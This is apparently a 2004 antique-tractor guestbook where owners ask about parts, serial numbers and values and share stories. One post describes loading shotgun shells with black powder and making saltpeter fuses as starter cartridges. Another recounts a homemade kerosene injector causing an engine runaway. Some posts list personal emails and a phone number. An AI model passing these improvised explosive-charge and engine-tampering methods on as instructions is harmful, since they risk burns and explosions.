dorab dubash wrote on Thursday, March 18, 2004 (PST):I own one Field Marshal Tractor single cylinder two stroke diesel with handle start and cartridge fire Sr No 6374 I would like to know the year of manufacture
bill mcenery wrote on Wednesday, March 17, 2004 (PST):i haveaihcw61952 wouldthistracterbeanygoodtotryandpullincompetion
Joe wrote on Wednesday, March 17, 2004 (PST):I need a PTO unit for a 1969 Case 430 diesel tractor
kevin moore wrote on Tuesday, March 16, 2004 (PST):hi everbody kev here i am starting to restore my allis that i told you about in february. i need help from some allis freinds. how do you get the steering wheel off of the columm all i can see is there is rivit holding it on can someone please help . my email # is kjm_ at hotmail.com thanks kev
Curt Hasselbacher wrote on Monday, March 15, 2004 (PST):Does anyone know where I could find a WD-45 Diesel? This tractor caught my eye when I watched one plow at a local plow day last year. I need a powerful reliable chore tractor/showpiece, and a WD-45 Diesel would do very well. Everything else on the place is orange (no AGCO, all Allis) and using the 7080 for chores just doesn't work.
Larry wrote on Monday, March 15, 2004 (PST):I own a 1955 International Cub Lo-Boy in mint show condition, I also have the fast hitch with 1 bottom plow, a 4 row cultivator and carryall platform. IH considered the Low-Boy to be grouped with their new utility tractors such as the International 300 utility which came out in late 54, my Lo-Boy is a hit in parades leading the way for a 400 or Super M
david baillie wrote on Sunday, March 14, 2004 (PST):I have a 1929 Waukesha 4 cylinder engine. It is intact minus carb and side valve covers. Anyone interested??
Avery English wrote on Sunday, March 14, 2004 (PST):I purchased a major diesal. the tractor runs fine. I would like to know where to fine engine and other parts for this tractor. I would like to rebuild the engine sometime in the near futre. My tractor have the ugly back rims on it. I would also like to know where I can find a bigger rim for a larger back tire. My tractor was built in 56/57.
leslie Holen wrote on Sunday, March 14, 2004 (PST):I have a D-15 Series 2 and am trying to find the weight of the tractor to purchace a trailer to haul it. Noone seems to know. Ive checked with several dealers and they cant seem to get the info. Any help would be appreciated
Robert Eutsler wrote on Sunday, March 14, 2004 (PST):I have a CO-OP E3 Serial # 30-30661 Does anyone know the year model. This # came off of the left side of the main frame. If anyone out there can help me find out the year this tractor is it would be greatly appreciated.
Eric Schieferdecker from Ewing M.O. wrote on Sunday, March 14, 2004 (PST):I am the president of the Gay Tractor Club in missouri and we are looking for new members and I am in need for a good looking (Deer) if you now what I mean. I need something that is used and needs alot of over hauling....
Rich Pope wrote on Sunday, March 14, 2004 (PST):Sorry about that double entry. We used to fill a primed 12-ga. shotgun shell with coarse black powder and stick some tape over the end for a starter. The fuses can be made of rolled-up thin paper that was soaked in a thick saltpeter brine. Don't soak it too long or it will fall apart before it dries.
Rich Pope wrote on Sunday, March 14, 2004 (PST):Had a Series II in the '60's. Never saw a tractor run so long on so little fuel! Marshall had a contest in the 50's to guess how long , my cousins had a new one, so they warmed it up, measured out one gallon of fuel, and left it idle. 72 hours later(!!) one of them shut it down so he could get some sleep!They guessed 80 hours on a gallon, and were short!
Rich Pope wrote on Sunday, March 14, 2004 (PST):Had a Series II in the '60's. Never saw a tractor run so long on so little fuel! Marshall had a contest in the 50's to guess how long , my cousins had a new one, so they warmed it up, measured out one gallon of fuel, and left it idle. 72 hours later(!!) one of them shut it down so he could get some sleep!They guessed 80 hours on a gallon, and were short!
Orin Jones wrote on Saturday, March 13, 2004 (PST):Recently purchased an International Utility 300 with a front end loader that I believe is a 1955. The Sr. No. 19077. I have a Gannon scraper that I want to attach, I believe I have a two point hitch with a hydrolic ram, need the necessary parts, I live in southern Calif. Can anyone point me in the right direction? Thanks
Bobby Davis wrote on Saturday, March 13, 2004 (PST):I now own a 1947 model B John Deere tractor,serial # 201828. Can anyone help with information on where it was sold and who first owned it. Thanks to anyone who can help.
claudia gravert wrote on Thursday, March 11, 2004 (PST):i have 1939 ford tractor but know very little about it. great condition run good. i have always wanted to know what is worth. e-mail me.
Joe wolfort wrote on Thursday, March 11, 2004 (PST):I'm looking to purchase an OliverOC3/4,0r a Cletrac HG 42 Dozer,or,Loader.If you have one for sale E-mail me at; jgwolfort at netzero.com or.call 305 745 9821.Thanks,Joe.
stephanie wrote on Thursday, March 11, 2004 (PST):my father has a ferguson 1952 tractor and is look for a 3 prone hook up digger. can you help me with find one
John Hollen wrote on Wednesday, March 10, 2004 (PST):Grew up with a M-5 diesel,it was the biggest tractor in these parts at that time. People used to come to the farm just to see it work.I now have a M670 super and will be purchasing a G-1000 vista soon. MMs are the only tractor that I want on my farm
Jim Durda wrote on Tuesday, March 09, 2004 (PST):Hi I have a 1956 S-55 industrial with a loader and a Henry hoe boy what a tough machine..I am rebuilding engine now but can't wait to put the old girl back to work
Jim from Akron, NY wrote on Monday, March 08, 2004 (PST):What a great site. My wife and I own a 1960 2010 with a narrow front end. I should say my wife owns it. When she and her ex-husband split up, he got the washer and drier and she got the tractor. She absolutly loves it and even calls it "Big John". It was the primary tractor on our small horse farm doing everything from spreading manure and mowing hay to clearing snow and bush hogging. It lost oil pressure in the fall of 2003 so I decided it was time to finally overhaul the engine. I'm having a little trouble finding parts and everything, if available, has to be special ordered. It seems that the engine is unique to the 1010 and 2010 only. The latest problem was finding the engine sleeves. Only the 2010 has the sleeves and the top engine plate as one assembly. I finally found one in Michigan from a dealer who had one for years by mistake. I hope this is the last roadblock to getting the tractor back together because spring is coming and I need it to do hay! Although I've had my problems with it, I chalk them up to age more than poor design. I think it's a great tractor and fills our needs better than any of the more popular small Fords or IHs.
Tony Placke wrote on Monday, March 08, 2004 (PST):I operate a 1949 and a 1951 CASE SC to help raise 120 acres of watermelons for the past six years. Their hydrostat models ,and I do all the repairs myself. Their use in the feild are as traditional as raising produce in my family. Me being 21 I'm proud to operate my grandpa's and my dad's CASE SCs. I hope to restore my great grandpas first tractor 1941 CASE SC.
Joe K. wrote on Monday, March 08, 2004 (PST):I bought a '66 AC D15 SeriesII in '97 when we built our home, for $4500. which was half of what the contractor wanted to do our lanscaping. We did all our own landscaping with it. I figure we got it for FREE. Anyone know how to convert it from positive to negative ground?
Darlene wrote on Sunday, March 07, 2004 (PST):Just bought a 1941 Farmall tractor. Everything is original and it runs. Don't know much about it yet but probably will sell it.
Robert B Pyle wrote on Sunday, March 07, 2004 (PST):When I was growing up on my great grandmother's orchard we had a 1941 ZTS on steel. That tractor was my favorite of the two my great grandmother had (the other being a Farmall M). Richard Wakeman of Lawrence, Kansas now owns the old "Minnie" and has her in his collection.
elijah shelton wrote on Sunday, March 07, 2004 (PST):I would like to get a tractor like that, you wouldn't be able to tell me were I could get one would you?
elijah shelton wrote on Sunday, March 07, 2004 (PST):Nice tractor. You wouldn't happen to know where there is one like that for sale would you?
Ernie wrote on Sunday, March 07, 2004 (PST):Currently restoring a 1939 Forn 9N with aluminum grill. Any comments of value or where to locate replacement parts in Southern Indiana/Illinois area?
CrazyvilleCowboy wrote on Saturday, March 06, 2004 (PST):I also forgot to mention my brother in law has a 1468 v-8 diesel dual stacks and he also has a hydro 100 he is an all the way international man. but i tell ya that 1468 is beautiful! dual chrome pipes. just can't get over that. sounds good too. but still like the 1066. LET THE CHARCOAL,RAWFUEL,BLACKSMOKE ROLL BOYS!
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information. One last thing, can anyone tell me where to find the serial number tag on this tractor??
Jason Zinger wrote on Saturday, March 06, 2004 (PST):I am in the process of buying a 1942(I am told) Oliver 60 rc. Metal and tires are in good condition, tractor runs great, I got it for $1,000.....can anyone tell me their thoughts as to if i got a good deal or not? The side shields for the engine are missing but thats it. Oh yeah, it does come with front cultivators as well. Any info on getting a bit more horse out of it would be really apreciated as well, as my 6 year old daughter and I plan to pull it, we have always pulled Deeres and a Farmall Bn. Don't really know anything about Olivers, one man I know who has a 60 told me I was getting a good deal, I hope so. Does anyone have any suggestions for more sites for Oliver 60 info as well? I would like to bore and stroke it, any and all specs on this tractor I can get would be very greatly appreciated, thank you much, Jason. My email is - farmboys_pullintoys at yahoo.com and I would be happy to call anyone willing to talk to me about this little tractor if you can help me gain information.
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Bill Krolczyk wrote on Saturday, March 06, 2004 (PST):The difference between RC&STD is RC stands for (ROW CROP)narrow front end (wheels very close together)& STD stands for (Standard) is a wide front end.Ilive in N.Y. THERE is a book called MASSEY TRACTOR DATA BOOK .Its every thing you will every thing you will need to know .(Paint,motor size of each tractor,tire size,years made (ECT)
Jonnie wrote on Saturday, March 06, 2004 (PST):Nice tractor shame about the wheels though. Get them painted orange and the tractor will look much better!!I am currently helping my grandfather restore his major (4wd). I'm only 15 but hope to someday find another 4wd major. Any ideas where I should look. And any pictures would also be helpful.
Brian Olson wrote on Friday, March 05, 2004 (PST):That 220 in the picture is Beautiful.It looks like that picture was taken at the park near Lynden Wahsington. My brothers and I have a 220,with cab, it is a very good runner and handles very well. It has the 24.5 x 32 singles on it. We also have 3 "G's",and one each of the following Wd-45,D-10,D-17,185,7000,220,7080,and a 440. We have had very good luck with our Allis Chalmers tractors. Lots of tractor for the dollar.
SHEILA THIBAUDEAU LAMBRINOS wrote on Friday, March 05, 2004 (PST):Grey County, Canada is hosting the Int. Plowing Match this year. I'm putting a photograph and write-up of my Allis-Chalmers B tractor in the IPM 2004 Commemorative Book. Mine is a 1938 model and is stored in my barn. Cheers!
Tony Maroney wrote on Friday, March 05, 2004 (PST):I see many seeking info in the Funk v8 conversion. Has anyone come up with info, or the bell housing adapter plate? Looks like an opportunity for a whiz-bank machinist!
Vern Sorbello wrote on Friday, March 05, 2004 (PST):I own a 1938 model B with the orginal title. I have the plow, all the culitivators.I use this tractor every day on my farm in N.J. The tractor is 100% orignal.This tractor runs like new.
Larry McNeese wrote on Friday, March 05, 2004 (PST):I have two D15 Series II tractors in Colorado. One wide front-end and the other a single. The only time I have trouble starting these guys is when they are out of gas.
Zach Cotton wrote on Thursday, March 04, 2004 (PST):Good job with keeping it in good shape.
jay fightmaster wrote on Thursday, March 04, 2004 (PST):Ihave a late model G with hyd. and belt pulley, cultv. and woods belly mower. would like to buy plow. In central Ky area. Please contact if you have implememts for sale.
Harry Zwep wrote on Thursday, March 04, 2004 (PST):I have a 1964 Ford Super Dexta that I am restoring. It has been repainted a grey colour. ( Fenders Wheels ) Should it be grey or white. Also it is hard starting first off in the am even in summer time. Any suggestions why? I have had the injector pump rebuilt. When I bought it I believe there was some gas in the tank. That's when I had the tank, fuel pump,fuel lines and filters flushed, and the inj. pump rebuilt. I would appreciate any feedback please. I am also looking for a pair of rear rims for it. Tire size 14.9 x 24. I am from south western Ontario Canada, so localy would be good. I welcome your responses. And like most of the other comments I would like to say it is a great little tractor.
Don Kratzer wrote on Wednesday, March 03, 2004 (PST):I wish to delete the add I placed on feb.14,2004.can I do it using this form.thank you
george curran wrote on Wednesday, March 03, 2004 (PST):nate watson i see your note sept. 25/2002 re 871 c/w S.O.S. tranny & you were thinking of converting it to a standerd tranny etc. did you get any satisfaction ? i'm the owner of a 6000 commander 1964 and i would to do something along the same lines. thanks for any help George.
D. Bjorn Christian wrote on Tuesday, March 02, 2004 (PST):I grew up using a 770. When Dad bought it in '64 it was the second largest tractor in the area...the largest being an 880. I think back to all the things we did with that tractor and it amazes me that we didn't kill it! Tough old bugger it was! We used it for farming, logging, firewood hauling, snow removal, landscaping, gravel digging, and just about anything and everything else a tractor could be used for. Dad sold the farm and the tractor back in '94, and I stopped back for a visit two years ago. The tractor is still running, but it's in really rough shape now. The people who bought it really didn't take care of the tractor...or the farm for that matter.
Jeff Hofmann wrote on Tuesday, March 02, 2004 (PST):I have an 80 JD. It is a 1956 model. We put a straight pipe on it and it is really loud. My home town has a tractor pull every year and the last 3 years it took 1st place. This last year the 80 got upset when our 830 D electric start beat him out.
Brian Eucker wrote on Monday, March 01, 2004 (PST):I have a 1931 FARMALL Regular SL. # T128760N it puts in late 1931 but it has a four speed trans like in the F20 Most regular had three speed trans. The rest of the tractor is a Farmall Regular.
homero arce wrote on Sunday, February 29, 2004 (PST):I have a JD2010 and I love this little tractor.I have had it for 8 years now and has never giveing me any problems.I also have a JD model 60 nd it is a good tractor.I guess it's how you take care of them or maybe it's just that I have been lucky with them.I also had a 2040 JD which I sold and now I regreat it,So I belive never to go by what somebody tells me but go by my oun experience with them.
Rodney Veinot wrote on Sunday, February 29, 2004 (PST):I live in Nova Scotia, Canada could anyone tell me where I could buy a starter for a 1950 0r 1952 Farmall A tractor?
Stuart wrote on Saturday, February 28, 2004 (PST):I have run acorss a 4 wheel drive Fordson Major type S3 sn 12744. Does anyone know the specs and hsitory of this machine? Its in decent shape and has a working pto winch on the back.
WILL STREET wrote on Friday, February 27, 2004 (PST): HAVE A NICE ORIGINAL D17 SERIES 3 GAS TRACTOR FOR SALE,FAIRHOPE AL. TRUCKING AVAILIBLE $4,800.00
Craig in Illinois wrote on Friday, February 27, 2004 (PST):There is a fella here in central Illinois from Peoria that has a completely restored Powerhorse. He has it beautifully restored, and pulls a four seater wagon. I ran into him at a tractor show last September 2003, in Mapleton ILL. He brought it to the show and pulled him and his wife around the park a couple of times. It was an Allis Chalmers tractor engine that powered it. The exact engine that is in a B or a C. That is the part that caught my attention. It is sure a neat set-up.
JAMES RUSSELL wrote on Thursday, February 26, 2004 (PST):HELLO, i work in a tractor shop, i own a '55 super 55 dsl.anyone need parts or help with one of these great machines drop me a line. i have access to three parts tractors,one dsl, two gas plus many assorted parts on shelf ready to be sold. proud of my oliver
don henderson wrote on Wednesday, February 25, 2004 (PST):have found an early 40s? fm (with side pulley). The casing on left below the head is badly cracked but otherwise is complete and will still run. Can provide picture and more detail if anyone is interested.
Tim Tarwater wrote on Tuesday, February 24, 2004 (PST):Enjoy antique tractor have a model B don,t know the year runs good need more info please help
David wrote on Sunday, February 22, 2004 (PST):i am looking to sell my 1963 oliver 550 special gas tractor and it is in original condition since new and trying to figure out what it is worth to sell in canadian dollors
Bill wrote on Sunday, February 22, 2004 (PST): Anyone know what a nice original 1944 WC, NF is worth? It is a super nice tractor, all original, even the 6 Volt system. The mag, starter, and generator have all been re-built. Someone care to make a bid?
Bill wrote on Sunday, February 22, 2004 (PST): Anyone know what a nice original 1944 WC, NF is worth? It is a super nice tractor, all original, even the 6 Volt system. The mag, starter, and generator have all been re-built. Someone care to make a bid?
Jason Benesch wrote on Saturday, February 21, 2004 (PST):I just found this web site. My father has owned a BO Lindeman for years. We start it up and run it around every couple of years. It is in good condition for its age and a joy to drive around. After reading the comments, I didn't know that these machines came with fenders? Do they. Our collection at the moment (all runners, not restored)is sitting at around 35 deere crawlers, starting from the BO Lindeman, with 2 to 4 of each model thereafter up until the 350 and 450 series. I am presently fixing up a 2010 dozer with a winch from the last bolt.
Robert Montgomery wrote on Saturday, February 21, 2004 (PST):Iam presently looking at a 871 gas tractor. It needs a shift cable,if anyone knows where I can find one .I am interested in other parts also. thanks rob.
Billy A. James wrote on Friday, February 20, 2004 (PST):Do It All With a Farmall!! Nothing beats them. My Dad and I are about to finish restoration on our '54 M-TA. Good times and beautiful tractors...that's the way it ought to be!
redrev wrote on Friday, February 20, 2004 (PST):There is a reign steer tractor like the above in upstate, NY in excellent running order. NOT for sale.
daniel wrote on Thursday, February 19, 2004 (PST):does anyone know anything abought ford 600 workmaster tractors? value? parts? age?
Terry Anderson wrote on Thursday, February 19, 2004 (PST):I spent a few summers on our MM g706. Hand clutch and turning break. My dad picked it up sometime in the mid-70's not sure of the tractor year. He bought a second 706 in the late 70's and ran both of them until he retired. We still have one of them sitting on the now vacant farm. Recently someone was inquiring about buying it. Not sure of the value. I believe it was partially parted out (engine head) a number of years ago. But as far as I know everything else is still there. Would anyone be able to recommend a value.
Zach Cotton wrote on Thursday, February 19, 2004 (PST):My Gandaddy had a 770 he had to sell it to buy a bigger tractor a 1850 he sold the 770 to Big 3 a New Hollad Dealer ship in Boomfeld Ky, the 770 had a colse font end on it if anybody knows who has it or has it please white back thanks
Zach Cotton wrote on Thursday, February 19, 2004 (PST):Is this tractor a Harr-parr they were the tractors before oliver
Dylan wrote on Thursday, February 19, 2004 (PST):nice piece of machine
Joe Heider wrote on Wednesday, February 18, 2004 (PST):Back in 1914 Rock island sold tractors built by the Heider Manufacturing Co. and there were 4 models A, B, C, & D these tractors were built until 1929 bearing the Heider name. I am looking for a modle C 12-20, Thanks
mike keller wrote on Wednesday, February 18, 2004 (PST):looking for parts to convert tractor to starter and hyraulics for a f-14
WANTED DEAD OR ALIVE (MIKE) wrote on Tuesday, February 17, 2004 (PST):I just aquired an old oliver row crop 70 tractor it is in sad shape and I would like to know more about it, how can i tell the year it was made?? SR#216223, i HAVE PICTURES IF YOU WILL E-MAIL ME. mike
Chad Sanders wrote on Tuesday, February 17, 2004 (PST):Looking for a O-12 or Fairway-12 in need of work. Are willing to travel to find or pickup these tractors.
allen wrote on Tuesday, February 17, 2004 (PST):I have a 51 Super A and I am having hydraulic trouble.When I use my harrows for an hour or more it does not want to lift them,but I can let it cool a while and it goes back to working.If you can help me with this problem please let me know as soon as possible. THANKS
melissa wrote on Tuesday, February 17, 2004 (PST):this tractor is beautiful take good care of it
barry coons wrote on Tuesday, February 17, 2004 (PST):I need a left side tie rod end for my AC 160. Any help needed
Dave wrote on Tuesday, February 17, 2004 (PST):Check the unofficial Allis site. Okieboy was either selling one or some parts for one. May be able to help you. www.allischalmers.com/forum/forum_list.asp?mnext=145719&mtext1=&morder=normal
Dave wrote on Tuesday, February 17, 2004 (PST):Saw this web site. Says they specialize in parts for imported Allis Chalmers tractors, including the 160. Thought it may be of interest to those looking for parts. dsl.sphosting.com/AC.html
Mike and Sue Roper wrote on Tuesday, February 17, 2004 (PST):We have a 1948 field marshall series II we just got going after 27yrs. Only took us 4 days to get it cleaned up and going...what a great tractor. It's only missing a fuel cap. Any ideas where to get one? Dad bought it for $50 40 yrs ago
Nash Summers wrote on Monday, February 16, 2004 (PST):I am looking for a WD-45 Diesel wide frontend FOR SALE some where close to the southern part of Indiana. I currently have a WD, AC 185 diesel with Year-Around-Cab, and AC 190XT diesel that have all been restored. Looking for another restoration project.
Des Swain wrote on Monday, February 16, 2004 (PST):Looking for a starter to fit minny-moline ub gas tractor with small starter drive.If anyone knows where to get this type of sarter please let me know. Thanks Des
kevin moore wrote on Monday, February 16, 2004 (PST):I HAVE THE IDENTICAL TRACTOR THAT I AM FIXINGUP THIS SPRING ITWILL GET PAINTED I HOPE IT LOOKS AS GOOD AS YOURS THANKS KEV
Raymond Wiedemer wrote on Sunday, February 15, 2004 (PST):Need new, used, or rebuilt injection pump. 73' 160 with perkins 3cyl.
Armin Friesen wrote on Saturday, February 14, 2004 (PST):Hi everybody out there. I looking for a service manual for Massey 202 Work Bull loader. For those of you who don't know what this is,it's a backwards tractor with the bucket on the big wheel end of the tractor. They used to be popular up here Manitoba with the gravel haulers years ago but there are only a few left now. I have one and still use it on my farm but it needs a few little repairs to bring it up to snuff. If any body knows anything about this machine I'd sure appreciate some feed back. My e-mail address is arminm at mts.net Thanks,ARMIN FRIESEN
Russell Polk wrote on Saturday, February 14, 2004 (PST):All these writings and photos bring back memorable times. My uncle worked at the Cockshutt plant in Smith's Falls for many years and on my birthday he would give me a model tractor(metal)of that model year. That was so many years ago. Thanks for sharing the beautiful photos.
andy biehler wrote on Saturday, February 14, 2004 (PST):I just purchased a MH 44 single wheel diesel and am looking for any info on it as it is a basket case in particular I am looking for a good manual for both the engine and tractor and possibly someone that would be able and willing to send me close up pics of different parts
Bruce Kelchen wrote on Friday, February 13, 2004 (PST):There is a heat riser in the manifold that should stop that. Most of them are rusted off and need to be replaced.
Claude Martin III wrote on Friday, February 13, 2004 (PST):Way back in 1990 or so, I went to my then-room-mate Eardy Weaver's farm-house, in Pennsylvania. His father owned a very nice pony-started 830, and he made it run for us. I have never since seen one of those wonderful machines running, but I distictly remember the excitement I felt when the pony motor was cranking the big twin, as well as the powerful impulse of those big slugs sliding back and forth in that wonderful engine. I've never owned a tractor, but if I did, that's be the one I'd want, that's for sure.
Bobby Campbell wrote on Friday, February 13, 2004 (PST):JD 60 & 620 Orchard (Grove) after market fenders and covers are available. Contact above for price and location. BC
Jeanette wrote on Wednesday, February 11, 2004 (PST):I own a 1960 770. I pull it at Fairs in Maine. I have been State Champion in the 6000 lb. Class for the last two years. I am looking for a power booster drive for my tractor. E-Mail me at a_jeanette at hotmail.com
Jim Nelsen wrote on Wednesday, February 11, 2004 (PST):My R was used by my step mother's dad and uncle in North Dakota. It's a 1954 and if the serial number register is right it is 250 from the last made. It has the export decals but was purchased new in Fessenden N.D. I have seen the purchase receipt. They traded a 39 D off for it. It has 6500 hours on the hour meter but the meter doesn't work now and I don't know if it worked when the tractor was retired in 1966. It sat in a shed after that, and was fired up a few times just to keep it free, but according to the neighbors, it sat for 13 years before I bought it in 1992. We pumped up the tires and pulled it out of the shed. I pushed in the clutch to see of the engine was free and not only was it free, it started! I think my heart was thumping louder than the tractor. The fuel was at least 13 years old and probably older. What a surprise. It has the origional paint, ans it looks good for it's age. The rear tires are 18.4-34 and were full of fluid, plus three cast iron weights per tire. The rear tires are still the 45 degree tread and are in very good shape. The fronts aren't bad either. It's kind of fun to hook it to the four bottom plow for an hour or so each fall. I was raised on the two bangers and have spent thousands of hours on them so I don't get much of a thrill listening to them run, but this R does excite me.
Wayne wrote on Wednesday, February 11, 2004 (PST):I have a cub which has been been in the family for 50 years. It is used to garden every year. I have lost a drive gear for the fertilizer and planter assembley. I have not been able to locate a replacement and need help finding one. It is a 4 inch chain link drive gear with a 3/4 inch shaft. Any help would be great.
Deb Oldham wrote on Wednesday, February 11, 2004 (PST):I just bought a B.F. Avery Tractor, how do I know if it is a A or not?
brian maloney wrote on Tuesday, February 10, 2004 (PST): have high arched wide front massey 44 according to the serial # it is the 12 tractor of this serias made. it runs good ,,, does any one know the proper paint code numbers for the red and the yellow paint? would like to use PPG paint need to paint a 33 massey also,,, might consider selling the 44
bob wrote on Monday, February 09, 2004 (PST):The g-1000 is a good tractor, they had it going good untikl they tryed to stop this massive load
Jared wrote on Saturday, February 07, 2004 (PST):I have a 54 WD-45, it has electric start, but one day i decided to crank her over by hand, that booger kicked me like a mule. Lots of compression.
Ray Lowery wrote on Saturday, February 07, 2004 (PST):I have a 1954 Massey Harris Pony tractor that I want to restore and want to know if you can put a 3 point hitch on it and if so, where do you get the parts and information. Thanks, Ray
Ernest Mcburrows wrote on Friday, February 06, 2004 (PST):I have a 1949M.T.(need restoring)for sale. In interested please contact me.
Mike Lupo wrote on Friday, February 06, 2004 (PST):I have a famall C and just bought a factoy front end loader for it. Can someone tell me how to hook up the hydraulics on the tractor. Sure could use some help on this. Thanks
Gary Hughes wrote on Wednesday, February 04, 2004 (PST):I have a 1950 WD which my granddad purchased new. Am starting to restore. I need to know what the weight of tractor is. Could any one provide that info to me? Thanks
Gaye wrote on Wednesday, February 04, 2004 (PST):I have a 1947 Farmall Cub with a front blade, I need to know how to attached it to the tractor. If anyone could help?I need it or if the is a book out there to show me how . I need the name of it . thank you so much .
Trudy McDowell wrote on Wednesday, February 04, 2004 (PST):Where would one find a serial number or vin number on a 1953 Case Vac? And if I was to sell it how much could I ask for it?
Trudy McDowell wrote on Wednesday, February 04, 2004 (PST):Where would one find a serial number or vin number on a 1953 Case Vac? And if I was to sell it how much could I ask for it?
David wrote on Monday, February 02, 2004 (PST):I have two Allis-Chalmers Model K tractors with steering wheels, one wide track, one narrow track, complete but not running, manuals for one, belonged to my father. What are the values of these tractors, am interested in selling.
TROY PERRY wrote on Monday, February 02, 2004 (PST):I have a 1946 Case SC tractor that is in great shape, it's all original, the paint is good, not real shiney, but good. It runs great, I started it several times this winter no problem and used it to pull my fire wood. Is this tractor worth anything?? And if so how much?
Mike McCarty wrote on Sunday, February 01, 2004 (PST):My dad sold our LA Case to a farm implement dealer in Olney, Tx. in late 60's or early 70's. We farmed in Archer County, Tx. I would like to buy tractor back if I could find it. Thanks Oilmantx9 at Aol.com
Bob wrote on Saturday, January 31, 2004 (PST):Spent days on the back of one of these, making hay, cleaning the barn, hauling wagons, cultivating corn. Wore out 3rd gear and almost wore out 2nd before it was sold.
Bob wrote on Saturday, January 31, 2004 (PST):Spent many hours working my grandfather's dairy farm on WD-45 and WD-45 Diesels.
Dan Richards wrote on Saturday, January 31, 2004 (PST):I have a question about the GP's. Does anyone know where the tractor was manufactured? Thanks in advance! dan
don wrote on Saturday, January 31, 2004 (PST):have a farmall super a serial# 334590. would like to know the year of the tractor
A. Jason Leedy wrote on Saturday, January 31, 2004 (PST):I would appreciate any info on the Rice Special model of the 830. I have a feeling they just came with wider tires, but you never know. Before my dad restored his you could barely see those words on the hood. I wish he would've replaced those stickers too, but he didn't. He did put some 28L26 tires on the rear and it looks awesome. By the way, I love your 830. It's sweet!
A. Jason Leedy wrote on Saturday, January 31, 2004 (PST):I love old John Deeres! My dad has a couple, including a restored 830. It has 28L26 tires on the back,it's awesome. One of my most memorable moments as a young kid involves an "R". A farmer that we knew brought his restored R to a local antique pull. There were no other tractors in his class that night so they let him pull last,just for fun. And fun it was! They could not stop that thing. After his first full pull they loaded everything they had on that boat and away he went. With the front end getting light and a heavy wrinkle in the rear tires my dad and I, along with about 12 or so other people, jumped on the boat to try and stop the green beast. We failed. As we stood there on the front of that boat we noticed that the big steel cable, hooked to the R, was actually coming apart. The track offical had to stop him at that point. If tractors could talk I don't think that R would say anything, but I bet she'd have a big ol' grin!!!
Wayne Mooneyham wrote on Friday, January 30, 2004 (PST):I need a Woods mower for my Super A,to include every thing needed to attach it. Would also like a belly cultivator. Tractor has hydraulics.. Thanks for any help.
patrick stempel wrote on Friday, January 30, 2004 (PST):i have a wd45 diesel. my grandpa bout it new.then my dad got it they worked it a lot. then the farm went under after geandpa died. the dealer got it back.then about 18ten years ago i bout the tractor. it nead a little work but it still runs stroung. and still in the famley.
David Seim wrote on Friday, January 30, 2004 (PST):I have a 1950 mc bought in 1998 was already restored I use it all the time on my hill side property Great little machine does any one know of a 3pt kit or orginal 3pt set up for tis crawler i have been told that the orchard modle had 3pt ??
ELIJAH MUGAMBI wrote on Friday, January 30, 2004 (PST): My father once owned a Fordson major tractor.This was about forty years ago.It was Kenyan registration No KBA 822 He sold it to a farmer who uses it todate for light farm duties.
D. M. White wrote on Thursday, January 29, 2004 (PST):I had a 40 & a 30 in the 1960"s. I liked the 40 much betterfor these reasons=.The hydraulic pump & tank were much better. Also the front end was much stronger on the 40. The brakes were the weakest part until they were replaced with disc brakes
Jeff wrote on Thursday, January 29, 2004 (PST):Does anyone know the part number and where I could get a glow plug for a 160. I believe the parts manual refers to the plug as a cold start aid? Thanks in advance
James Phillips wrote on Wednesday, January 28, 2004 (PST):My family has a d14 d15 series 2 the d 14 has pulled 3 14's in 3rd gear hi range all its life till the 70's when my dad went to 100 horse tractors. My grampa bought both tractors new I have the d15 and my brother has the d14. we even have sales slips from Mitchels in Libertycenter Oh.
James Phillips wrote on Wednesday, January 28, 2004 (PST):My brother has a side hobby/business bying fixing painting selling and custome repair old JD tractors.Mostly 720 730 820 830 diesels but he has ran quite a fiew other modles throu the barn.
Kaj Pedersen wrote on Wednesday, January 28, 2004 (PST):hello. is there anny allis chalmers FD3 in denmark with 4 cylinder perkins engine.thank you
Jim Sandridge wrote on Tuesday, January 27, 2004 (PST): Looking for a WD-45 Gas with tricycle type front end. Complete and repairable.We had one when I was a teen-ager. I would race it when the boss wasn't around. I would tie a string to the governer arm and pull it when I wanted high speed. I had a friend who could get ethyl alchol from his uncle's drug store. I mixed a quart of alky' with 2 quarts of gasoline. Had the muffler burnt out with our acetylene torch. Gutted.I could outrun all the local tractors except my buddy's Oliver 88" Diesel.His uncle's tractor. He made a injector to run kerosene into the intake.He would pull a string to let the kero in. we had 8-N'S ,77's M'S, H's, Some kind of M-M. We would run down this steep hill at night,wide open then let off the throttles. The WD 45 and the 88' diesel would shoot fire five feet in the air. The engines had to suffer,but in the late 40's kid's didn't think about it.The 88 diesel engine did a runaway one night. We were working on the homemade injector and dumped in 10 wt oil and kerosene mix. Way too much went in and the engine screamed for several minutes. We ran, thought the engine would blow.There is no shut down with all that in the intake. I'm 68 years old now and I wised up a little. Jim
James Case wrote on Monday, January 26, 2004 (PST):I also have a john deere mt just like the one shown in the picture is this a rare tractor we have owened it since it was brand new i just about have it completly restored. i'm looking for a wiring diagram could anyone help.
